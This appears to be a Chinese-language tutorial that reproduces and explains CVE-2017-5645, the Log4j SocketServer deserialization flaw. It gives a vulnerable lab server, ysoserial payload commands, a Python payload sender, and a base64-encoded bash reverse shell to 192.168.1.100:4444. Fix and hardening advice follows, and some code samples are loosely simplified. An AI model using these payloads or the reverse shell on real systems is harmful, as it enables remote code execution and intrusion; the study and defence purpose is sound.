Java反序列化漏洞实战:CVE-2017-5645原理、复现与修复
1. 项目概述:一次经典的Java反序列化漏洞实战
CVE-2017-5645,这个编号对于很多从事应用安全研究或渗透测试的朋友来说,应该不陌生。它不是一个孤立的漏洞,而是Apache Log4j 2.x版本中一个特定组件—— SocketServer 类存在的反序列化漏洞。简单来说,攻击者可以通过网络向启用了该功能的Log4j服务发送精心构造的恶意序列化数据,触发服务端执行任意命令。这个漏洞的CVSS评分高达9.8,属于严重级别,因为它直接绕过了身份验证,并且能实现远程代码执行。
我第一次接触这个漏洞是在一次内部红蓝对抗中,当时目标系统的一个管理后台使用了较老版本的Log4j进行日志收集和监控。虽然最终的攻击链比直接利用CVE-2017-5645要复杂一些,但正是这个漏洞让我深刻理解了Java反序列化漏洞的威力和普遍性。今天,我们就来彻底拆解它,从原理到环境搭建,再到漏洞利用和修复,手把手带你复现这个经典案例。无论你是安全工程师想深入理解漏洞机理,还是开发人员想避免踩坑,这篇文章都能给你提供直接的参考。
2. 漏洞原理深度剖析:为什么反序列化如此危险?
要理解CVE-2017-5645,必须先搞清楚两个核心概念:Log4j的 SocketServer 和Java反序列化。
2.1 Log4j SocketServer的设计初衷与安全盲区
Apache Log4j是一个功能强大的日志记录框架,它的 SocketServer 类设计用于接收通过网络Socket发送来的日志事件。想象一下,你有一个分布式系统,各个微服务节点将日志事件通过网络发送到一个中央日志服务器进行处理和存储, SocketServer 就是那个中央服务器的“耳朵”。在Log4j 2.x的早期版本(具体是2.0-beta9到2.8.1),这个“耳朵”在监听TCP端口(默认4560)时,对传入的数据直接进行了 ObjectInputStream 反序列化操作。
这里就出现了第一个安全盲区: 无条件的信任 。 SocketServer 默认信任任何连接到该端口并发送数据的客户端,没有实现任何形式的身份验证或授权机制。它假设所有传入的数据都是良性的、由可信客户端发送的合法日志事件对象。
2.2 Java反序列化:一把锋利的双刃剑
Java序列化是一种将对象状态转换为字节流的过程,以便存储或传输。反序列化则是其逆过程,将字节流还原为内存中的对象。这个过程本身是Java远程方法调用(RMI)、消息队列、缓存等机制的基础,非常强大。
然而,危险就藏在反序列化的机制里。当 ObjectInputStream.readObject() 方法被调用时,Java虚拟机会根据字节流中的类描述,尝试去实例化对应的类。在实例化过程中,如果这个类定义了 readObject 、 readResolve 等方法,这些方法会被自动调用。攻击者的思路就是: 找到一个在目标应用类路径(Classpath)中存在的、其 readObject 方法或相关方法(如构造函数、getter/setter)能导致危险操作(如执行命令)的类,然后构造该类的序列化字节流,发送给服务端。
这类能被利用的类,我们称之为“反序列化利用链”或“Gadget Chain”。Apache Commons Collections库(特别是3.2.1及以前版本)中一系列类(如 InvokerTransformer , ConstantTransformer , ChainedTransformer 等)的组合,就是历史上最著名、最通用的Gadget Chain之一。它们可以通过层层调用,最终执行任意命令。
2.3 CVE-2017-5645的触发点
在存在漏洞的Log4j版本中, SocketServer.main() 方法或通过 SocketServer 类启动的服务,其核心循环代码如下(概念简化):
try (ServerSocket serverSocket = new ServerSocket(port)) {
while (!shutdown) {
Socket socket = serverSocket.accept(); // 接受连接
ObjectInputStream ois = new ObjectInputStream(socket.getInputStream()); // 关键!创建对象输入流
LogEvent event;
do {
event = (LogEvent) ois.readObject(); // 关键!反序列化传入数据
// ... 处理日志事件 ...
} while (!shutdown);
}
}
问题就出在 new ObjectInputStream(...) 和 ois.readObject() 这两行。程序没有对输入流做任何白名单校验,直接反序列化。攻击者只需要建立一个TCP连接到目标服务器的4560端口,然后发送一个精心构造的、包含恶意Gadget Chain的序列化字节流,漏洞就会被触发,在服务端上下文执行攻击者预设的命令。
注意 :这里容易产生一个误解,认为CVE-2017-5645和后来轰动全球的Log4Shell(CVE-2021-44228)是同一个漏洞。它们完全不是。Log4Shell是日志消息 内容 解析导致的漏洞,影响范围极广。而CVE-2017-5645是 SocketServer组件 的反序列化漏洞,需要特定配置(开启SocketServer)才会暴露,影响面相对较小,但危害同样严重。
3. 漏洞复现环境搭建与工具准备
纸上得来终觉浅,绝知此事要躬行。下面我们搭建一个完整的复现环境。你需要准备一台Linux虚拟机(我使用Kali 2024.1,Ubuntu/CentOS均可),并确保安装了Java环境。
3.1 靶机环境搭建(漏洞服务端)
首先,我们需要一个存在漏洞的Log4j版本。这里我们选择Log4j 2.8.1,它是受影响的最后一个版本。
-
创建项目目录并下载依赖 :
mkdir log4j-cve-2017-5645 && cd log4j-cve-2017-5645 # 下载漏洞版本的Log4j核心包 wget https://archive.apache.org/dist/logging/log4j/2.8.1/apache-log4j-2.8.1-bin.zip unzip apache-log4j-2.8.1-bin.zip # 下载通用的反序列化利用链依赖:Apache Commons Collections 3.2.1 wget https://repo1.maven.org/maven2/commons-collections/commons-collections/3.2.1/commons-collections-3.2.1.jar -
编写一个简单的漏洞服务器程序 : 我们不需要去研究复杂的Log4j配置,直接写一个Java程序来模拟启动
SocketServer。创建文件VulnServer.java:import org.apache.logging.log4j.core.net.server.ObjectInputStreamLogEventBridge; import org.apache.logging.log4j.core.net.server.TcpSocketServer; import java.io.IOException; public class VulnServer { public static void main(String[] args) throws IOException { // 使用存在漏洞的Log4j 2.8.1中的TcpSocketServer // 它内部使用了ObjectInputStream进行反序列化 int port = 4560; // Log4j SocketServer默认端口 System.out.println("[*] 启动存在CVE-2017-5645漏洞的Log4j SocketServer..."); System.out.println("[*] 监听端口: " + port); System.out.println("[*] 请使用攻击脚本连接此端口进行测试。"); final TcpSocketServer<ObjectInputStream> server = TcpSocketServer.createSerializedSocketServer(port); server.run(); // 此方法会阻塞,持续接受连接 } } -
编译并运行漏洞服务器 :
# 编译 javac -cp "apache-log4j-2.8.1-bin/log4j-core-2.8.1.jar:apache-log4j-2.8.1-bin/log4j-api-2.8.1.jar" VulnServer.java # 运行,需要将commons-collections库也加入classpath,因为我们的攻击载荷会用到它 java -cp ".:apache-log4j-2.8.1-bin/*:commons-collections-3.2.1.jar" VulnServer如果看到提示监听4560端口,说明漏洞服务端已经准备就绪。保持这个终端运行。
3.2 攻击机环境与工具准备
在另一个终端窗口,我们准备攻击脚本。我们将使用经典的 ysoserial 工具来生成攻击载荷。 ysoserial 是一个集成了多种Java反序列化利用链的武器化工具。
-
下载并编译ysoserial :
git clone https://github.com/frohoff/ysoserial.git cd ysoserial # 由于项目较老,可能需要使用Maven 3.x版本并指定Java 8兼容性 mvn clean package -DskipTests编译成功后,在
target/目录下会生成ysoserial-0.0.6-SNAPSHOT-all.jar(版本号可能略有不同)。 -
确认攻击链 : 对于Log4j 2.8.1,由于其类路径通常不包含其他复杂库,最通用的链是
CommonsCollections系列。我们可以先用ysoserial列出支持的所有链:java -jar target/ysoserial-0.0.6-SNAPSHOT-all.jar你会看到一长串列表,如
CommonsCollections1到CommonsCollections10,Groovy1,Jdk7u21等。对于我们的测试环境,CommonsCollections5或CommonsCollections6通常是不错的选择,因为它们对第三方库的版本依赖相对宽松。
4. 漏洞利用实战:构造与发送攻击载荷
环境就绪,现在进入最关键的利用环节。我们的目标是让运行 VulnServer 的Java进程执行一条系统命令。
4.1 生成反序列化攻击载荷
假设我们想让目标服务器执行命令 touch /tmp/pwned_by_cve_2017_5645 ,在/tmp目录下创建一个文件作为攻击成功的证明。
使用 ysoserial 生成对应的序列化字节流:
# 回到攻击机的工作目录
cd /path/to/ysoserial
# 使用CommonsCollections6链,生成攻击载荷,并保存为payload.bin
java -jar target/ysoserial-0.0.6-SNAPSHOT-all.jar CommonsCollections6 "touch /tmp/pwned_by_cve_2017_5645" > payload.bin
这条命令的意思是:使用 CommonsCollections6 这个利用链,封装一个执行指定字符串命令的Payload,并将其序列化后的字节输出重定向到 payload.bin 文件中。
实操心得 :选择哪条
CommonsCollections链有时需要一点尝试。如果目标环境的Commons Collections库版本是3.2.1,那么1-6号链通常都有效。如果执行不成功,可以换用CommonsCollections5或CommonsCollections2试试。ysoserial的每个链对依赖库的版本和JDK内部类的细微差别都有不同要求。
4.2 发送Payload至漏洞服务
现在,我们需要将 payload.bin 这个二进制文件通过TCP发送到靶机的4560端口。有多种方法可以实现:
方法一:使用netcat (nc)
nc -nv 靶机IP地址 4560 < payload.bin
这是最简单直接的方法。如果连接成功建立并发送了数据,你会看到netcat命令执行完毕。此时,立即检查靶机服务器的 /tmp 目录:
# 在靶机终端执行
ls -la /tmp/pwned_by_cve_2017_5645
如果文件被成功创建,恭喜你,漏洞复现成功!这证明了远程命令执行(RCE)已经实现。
方法二:使用Python脚本(更可控) 有时netcat发送数据太快或连接处理不完美,我们可以写一个简单的Python脚本:
#!/usr/bin/env python3
import socket
import sys
def exploit(target_ip, target_port, payload_file):
with open(payload_file, 'rb') as f:
payload = f.read()
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
try:
sock.connect((target_ip, target_port))
print(f"[+] 连接到 {target_ip}:{target_port}")
sock.sendall(payload)
print("[+] Payload发送完毕")
# 可以稍作停留,等待服务器处理
sock.settimeout(2)
try:
# 有些服务可能会返回一些数据,读一下避免连接重置
response = sock.recv(1024)
if response:
print(f"[*] 收到响应: {response[:50]}...")
except socket.timeout:
pass
except Exception as e:
print(f"[-] 连接或发送失败: {e}")
finally:
sock.close()
if __name__ == "__main__":
if len(sys.argv) != 4:
print(f"用法: {sys.argv[0]} <靶机IP> <端口> <payload文件>")
sys.exit(1)
exploit(sys.argv[1], int(sys.argv[2]), sys.argv[3])
保存为 send_payload.py ,然后运行:
python3 send_payload.py 127.0.0.1 4560 payload.bin
4.3 利用过程深度解析
当你的Payload发送到漏洞服务时,幕后发生了以下事情:
- 网络传输 :原始字节流通过网络到达
VulnServer的4560端口。 - 反序列化入口 :
TcpSocketServer接收到连接,创建ObjectInputStream,并调用readObject()尝试读取一个LogEvent对象。 - 利用链触发 :
readObject()解析字节流,发现它描述的不是LogEvent,而是CommonsCollections6链中的一系列对象(如LazyMap、ChainedTransformer、ConstantTransformer、InvokerTransformer等)。Java虚拟机开始按照字节流指示,递归地实例化这些对象。 - 危险方法调用 :在实例化
InvokerTransformer等对象时,其readObject或构造函数中包含了利用反射调用Runtime.exec()方法的逻辑。这个调用被成功执行。 - 命令执行 :
Runtime.getRuntime().exec("touch /tmp/pwned_by_cve_2017_5645")在服务端进程的上下文中执行,创建了文件。
整个过程,服务端程序只是在“忠实地”执行反序列化这一常规操作,却无意中执行了攻击者的代码。这就是反序列化漏洞被称为“反序列化炸弹”的原因——数据本身变成了代码。
5. 漏洞修复方案与安全加固实践
复现漏洞是为了更好地防御它。对于CVE-2017-5645,Apache官方早已提供了修复方案。了解如何修复,是安全研究的最终目的。
5.1 官方修复方案解读
Apache在Log4j 2.8.2版本中修复了此漏洞。修复的核心思想是: 为 SocketServer 引入一个可配置的“反序列化过滤器” 。
关键的修复代码在 ObjectInputStreamLogEventBridge 类中(概念简化):
public class ObjectInputStreamLogEventBridge implements LogEventBridge<ObjectInputStream> {
private final DeserializerFilter filter; // 新增的过滤器
public ObjectInputStreamLogEventBridge(DeserializerFilter filter) {
this.filter = filter;
}
@Override
public LogEvent wrapStream(InputStream inputStream) throws IOException {
ObjectInputStream objectInputStream = new ObjectInputStream(inputStream);
if (filter != null) {
// 关键修复:为ObjectInputStream设置过滤器
ObjectInputFilter.Config.setObjectInputFilter(objectInputStream, filter);
}
// ... 后续反序列化操作会受到过滤器的限制
return (LogEvent) objectInputStream.readObject();
}
}
这个 DeserializerFilter 本质上是一个 ObjectInputFilter ,它允许开发者定义一个白名单或黑名单,指定哪些类可以被反序列化。在默认配置下,它只允许反序列化Log4j自身相关的几个安全类(如 LogEvent ),从而彻底阻断了外部恶意Gadget Chain的加载。
5.2 修复实践:升级与配置
对于受影响的用户,修复步骤非常明确:
-
立即升级 :将Log4j 2.x版本升级至2.8.2或更高版本(建议直接升级到最新的2.x稳定版,如2.23.1,以同时修复其他潜在问题)。修改你的项目依赖(Maven/Gradle)中的Log4j版本号即可。
<!-- Maven pom.xml 示例 --> <dependency> <groupId>org.apache.logging.log4j</groupId> <artifactId>log4j-core</artifactId> <version>2.23.1</version> <!-- 使用安全版本 --> </dependency> -
检查配置 :如果你确实需要使用Log4j的
SocketServer功能(大多数应用并不需要),在升级后,请审查相关配置。确保你没有在不可信的网络环境(如公网)下暴露Log4j的Socket端口(默认4560)。最好的实践是仅在内部可信网络中使用此功能,或者通过防火墙严格限制访问源IP。 -
寻找替代方案 :对于日志收集,考虑使用更现代、更安全的方案,例如:
- 通过日志文件 + Filebeat/Fluentd 进行采集。
- 使用Syslog协议。
- 直接使用Log4j或Logback的Appender将日志写入Kafka、Elasticsearch等中间件,避免自定义网络协议。
5.3 广义的Java反序列化漏洞防御
CVE-2017-5645是Java反序列化漏洞的一个具体案例。要系统性防御此类漏洞,你需要建立更深层的安全意识:
-
输入源管控 :永远不要反序列化来自不可信来源的数据。这包括网络请求、用户输入、文件上传、RMI请求、JMX连接、JMS消息等。对所有输入源进行严格的身份验证和授权。
-
使用安全替代方案 :考虑使用更安全的序列化格式,如JSON(Jackson/Gson)、Protocol Buffers、Avro等。这些格式通常不直接关联到Java类的实例化,安全性更高。
-
实施反序列化过滤器 :如果你必须使用Java原生序列化(例如,为了兼容老系统),在JDK 9+中,务必使用
ObjectInputFilter(JEP 290)来定义严格的白名单。这是防御此类漏洞最有效的手段之一。白名单应只包含业务绝对必需的类。// JDK 9+ 示例 ObjectInputStream ois = new ObjectInputStream(inputStream); ObjectInputFilter filter = ObjectInputFilter.allowFilter( cl -> cl.getPackageName().equals("com.yourcompany.safeclasses"), ObjectInputFilter.Status.REJECTED ); ois.setObjectInputFilter(filter); -
依赖库安全管理 :定期扫描项目依赖,使用OWASP Dependency-Check、Snyk等工具,及时发现并升级包含已知反序列化Gadget Chain的库,如老版本的Apache Commons Collections、Commons BeanUtils、Spring框架特定版本等。
-
最小化攻击面 :关闭不必要的服务端口。像Log4j
SocketServer这类非核心功能,如果不需要,坚决不启用。通过安全组、防火墙、容器网络策略等手段,将应用的网络暴露面降到最低。
6. 常见问题排查与实战技巧实录
在复现和研究这类漏洞的过程中,你肯定会遇到各种问题。下面是我踩过的一些坑和总结的技巧。
6.1 漏洞复现失败排查清单
| 问题现象 | 可能原因 | 排查步骤与解决方案 |
|---|---|---|
| 连接被拒绝 | 漏洞服务未启动或端口错误 | 1. 检查 VulnServer 程序是否正常运行 ( netstat -tlnp | grep 4560 )。 2. 确认防火墙是否放行了4560端口 ( sudo ufw status )。 3. 检查程序是否绑定到了 127.0.0.1 而非 0.0.0.0 。 |
| 连接成功但无反应 | Payload生成或发送问题 | 1. 检查Java版本 :靶机和攻击机的JDK版本最好一致(建议JDK 8uXX)。高版本JDK(如11+)可能内置了部分缓解措施,导致利用链失效。这是最常见的原因! 2. 更换ysoserial利用链 :尝试 CommonsCollections5 , CommonsCollections6 , CommonsCollections1 等。 3. 检查依赖 :确保靶机运行 VulnServer 时, commons-collections-3.2.1.jar 在classpath中。 4. Payload发送不完整 :使用Python脚本发送,并确保 sock.sendall() 调用成功。 |
服务端抛出 ClassNotFoundException |
缺少Gadget Chain所需的类 | 1. 确认 commons-collections-3.2.1.jar 已正确添加到靶机服务的classpath。 2. 如果使用其他链(如 Groovy1 ),需要确保对应库(groovy)也在classpath中。 |
| 命令执行了但没看到效果 | 命令执行上下文问题 | 1. 检查命令路径 : touch 命令通常没问题。如果执行 whoami 或 id ,输出可能被丢弃。可以尝试将命令输出重定向到文件: whoami > /tmp/test.txt 。 2. 权限问题 :Java进程可能以非root用户运行,检查其对 /tmp 目录是否有写权限。 3. 使用绝对路径 :尝试使用 /bin/touch 代替 touch 。 |
6.2 高级技巧与深度利用
-
反弹Shell :创建文件只是证明RCE,真正的攻击往往需要交互式Shell。我们可以利用
bash或netcat反弹Shell。# 生成反弹Shell的Payload。假设攻击机IP是192.168.1.100,监听4444端口。 # 注意:命令中有特殊字符,需要妥善处理。 java -jar ysoserial.jar CommonsCollections6 "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjEuMTAwLzQ0NDQgMD4mMQ==}|{base64,-d}|{bash,-i}" > payload_reverse.bin上面的命令使用base64编码了一段bash反弹Shell命令,避免特殊字符在命令行中传递出现问题。在攻击机上用
nc -lvnp 4444监听,然后发送payload_reverse.bin。 -
内存马注入 :在实战中,攻击者可能不满足于一次性的命令执行,而是追求持久化。对于Java Web应用,可以通过反序列化漏洞注入内存WebShell(内存马)。这需要构造更复杂的Payload,利用应用已有的类(如
Tomcat的Filter、Spring的Controller)动态注册恶意组件。这超出了基础复现的范围,但它是此类漏洞的高级利用方向。 -
绕过简单的过滤 :如果服务端使用了不完善的黑名单过滤,研究不同Gadget Chain的变种(如利用
BeanShell1、Clojure、MozillaRhino等链)可能实现绕过。ysoserial本身就是一个很好的“链百科全书”。
6.3 从攻击者视角看防御
作为防御方,了解攻击者的工具和思路至关重要。我建议:
- 部署RASP :在关键应用上部署运行时应用自我保护(RASP)产品。好的RASP可以在Java反序列化等危险操作发生时进行实时拦截和告警,即使存在未知的0day利用链也能提供一层防护。
- 加强日志监控 :监控应用中关于类加载失败、
ClassNotFoundException(特别是尝试加载InvokerTransformer、AnnotationInvocationHandler等知名Gadget类)的异常日志,这可能是攻击尝试的迹象。 - 进行代码审计 :在代码审查中,将
ObjectInputStream的使用列为高危关注点。检查所有readObject()的调用点,确认其数据来源是否可信,是否配置了过滤器。
复现CVE-2017-5645的过程,就像解剖一个经典的病理样本。它清晰地展示了“信任边界模糊”和“功能滥用”如何导致严重的安全问题。对于开发者,这个案例是一个警钟,提醒我们在使用像反序列化这样强大的特性时,必须心怀敬畏,实施最严格的安全控制。对于安全研究者,它则是一个完美的起点,从这里可以深入到Java安全、利用链构造、内存安全等更广阔的领域。每一次成功的复现和透彻的分析,都是构建更安全数字世界的一块基石。
更多推荐



所有评论(0)